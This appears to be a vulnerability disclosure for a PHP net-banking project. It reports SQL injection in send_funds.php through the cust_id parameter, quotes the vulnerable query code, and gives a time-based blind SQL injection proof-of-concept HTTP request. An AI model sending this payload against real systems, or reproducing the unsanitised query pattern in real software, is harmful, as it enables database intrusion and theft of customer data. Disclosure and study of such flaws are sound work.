Found a vulnerability

[0clickjacking0]

Vulnerability file address

net-banking/send_funds.php from line 9,The $_GET['cust_id'] parameter is controllable, the parameter cust_id can be passed through get, and the $id is not protected from sql injection, line 13 $result0 = $conn->query($sql0); made a sql query,resulting in sql injection

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    if (isset($_GET['cust_id'])) {
        $id = $_GET['cust_id'];
    }

    $sql0 = "SELECT * FROM customer WHERE cust_id=".$id;
    $result0 = $conn->query($sql0);
    $row0 = $result0->fetch_assoc();
......
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POC

GET /net-banking/send_funds.php?cust_id=666 AND (SELECT 1043 FROM (SELECT(SLEEP(5)))rbwc) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Attack results pictures